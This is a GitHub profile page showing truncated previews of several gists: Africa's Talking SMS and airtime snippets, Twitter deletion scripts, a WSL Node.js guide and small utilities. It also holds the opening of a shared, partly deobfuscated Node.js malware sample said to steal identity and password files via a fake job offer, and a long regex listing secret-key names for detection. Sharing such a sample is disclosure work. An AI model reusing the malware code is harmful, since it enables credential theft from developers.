Skip to content

Instantly share code, notes, and snippets.

View DaggieBlanqx's full-sized avatar
:atom:
Shall we ?

Daggie Blanqx (Douglas Mwangi) DaggieBlanqx

:atom:
Shall we ?
View GitHub Profile
@HyperCrowd
HyperCrowd / malware.js
Last active August 22, 2024 11:07
Malware Disguised As Job Offer
// This is deobfuscated code from a Node.js file that runs from the repository in the job offer
// It appears to gather all kinds of identification and password hash files and ships them to 185.235.241.208
(function (_0x128376, _0x1cdd7b) {
const _0x370f08 = _0x128376();
while (true) {
try {
const _0x5531ca = parseInt(_0x1dfb(522, '0x43e')) / 1 * (-parseInt(_0x1dfb(497, '0x80')) / 2) + -parseInt(_0x1dfb(372, -46)) / 3 + -parseInt(_0x1dfb(443, 0x65)) / 4 * (parseInt(_0x1dfb(479, '0x90')) / 5) + -parseInt(_0x1dfb(348, '0x375')) / 6 + -parseInt(_0x1dfb(373, -0x23)) / 7 + parseInt(_0x1dfb(502, '0x459')) / 8 + parseInt(_0x1dfb(558, '0x4b1')) / 9 * (parseInt(_0x1dfb(327, -170)) / 10);
if (_0x5531ca === _0x1cdd7b) {
break;
// install the africastalking library from npmjs.org
const Africastalking = require('africastalking');
const AT = Africastalking({
username:'your-app-username',
apiKey:'your-apikey'
});
const sendSMS = async () => {
const output = await AT.send({
// install the africastalking library from npmjs.org
const Africastalking = require('africastalking');
const AT = Africastalking({
username:'your-app-username',
apiKey:'your-apikey'
}).AIRTIME;
const sendAirtime = async () => {
const output = await AT.send({
(?i)((access_key|access_token|admin_pass|admin_user|algolia_admin_key|algolia_api_key|alias_pass|alicloud_access_key|amazon_secret_access_key|amazonaws|ansible_vault_password|aos_key|api_key|api_key_secret|api_key_sid|api_secret|api.googlemaps AIza|apidocs|apikey|apiSecret|app_debug|app_id|app_key|app_log_level|app_secret|appkey|appkeysecret|application_key|appsecret|appspot|auth_token|authorizationToken|authsecret|aws_access|aws_access_key_id|aws_bucket|aws_key|aws_secret|aws_secret_key|aws_token|AWSSecretKey|b2_app_key|bashrc password|bintray_apikey|bintray_gpg_password|bintray_key|bintraykey|bluemix_api_key|bluemix_pass|browserstack_access_key|bucket_password|bucketeer_aws_access_key_id|bucketeer_aws_secret_access_key|built_branch_deploy_key|bx_password|cache_driver|cache_s3_secret_key|cattle_access_key|cattle_secret_key|certificate_password|ci_deploy_password|client_secret|client_zpk_secret_key|clojars_password|cloud_api_key|cloud_watch_aws_access_key|cloudant_password|cloudflare_api_key|cloudflare_auth_k
@antlionguard
antlionguard / twitter-remove-tweets.js
Last active September 6, 2023 15:35
With this script, you can remove all tweets you are tweeted on Twitter. Don't forget add your nickname to line 9. (The script begins 60 seconds after pasting the code.)
const timer = ms => new Promise(res => setTimeout(res, ms));
setInterval(async () =>
{
// Get all tweets
const allTweets = document.querySelectorAll('.css-1dbjc4n.r-18u37iz.r-1wbh5a2.r-13hce6t');
// Filter tweets
const filteredTweets = Array.prototype.slice.call(allTweets).filter(x => x.innerText === '@{YOUR_TWITTER_NICKNAME}'); // --> e.g. '@twitter'
@antlionguard
antlionguard / twitter-remove-retweets.js
Last active March 11, 2026 07:07
With this script, you can remove all retweets you are retweeted on Twitter.
const timer = ms => new Promise(res => setTimeout(res, ms));
// Unretweet normally
const unretweetTweet = async (tweet) => {
await tweet.querySelector('[data-testid="unretweet"]').click();
await timer(250);
await document.querySelector('[data-testid="unretweetConfirm"]').click();
console.log('****// Unretweeted Successfully //****')
}
@DaggieBlanqx
DaggieBlanqx / post-WSL.md Installing node via windows subsystem for linux

Windows 10 Fall Creators Update - Installing Node.js on Windows Subsystem for Linux (WSL)

Windows just released the windows subsystem for linux feature to the public with its latest windows fall creator update, if you are not familiar with this feature it allows you to run linux binaries natively on windows - F.A.Q.

Enabling WSL

The feature is not enabled by default and you need to activate it, you can do it via powershell (with admin rights):

Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux

Or you can open: Control-Panel -> Programs -> Turn Windows feature on ro off, and click the "windows subsystem for linux (beta)" button.

@DaggieBlanqx
DaggieBlanqx / christian_World_Media _onVideo_function.js
Last active October 5, 2018 10:44
http://www.christianworldmedia.com don`t have an api that shows when there is a video , so I created this javascript function that does that .Checks if there is a video . Email me at info@blanqx.com for queries /concerns .
"use strict"
var isLive = (parentURL)=>{
return new Promise((resolve,reject)=>{
/* Fetch webpage */
fetch(parentURL)
.then((response)=>{
return response.text();
})
@DaggieBlanqx
DaggieBlanqx / xmlToJson.js
Created December 9, 2017 17:17 — forked from chinchang/xmlToJson.js
Function to convert XML to JSON
// Changes XML to JSON
// Modified version from here: http://davidwalsh.name/convert-xml-json
function xmlToJson(xml) {
// Create the return object
var obj = {};
if (xml.nodeType == 1) { // element
// do attributes
if (xml.attributes.length > 0) {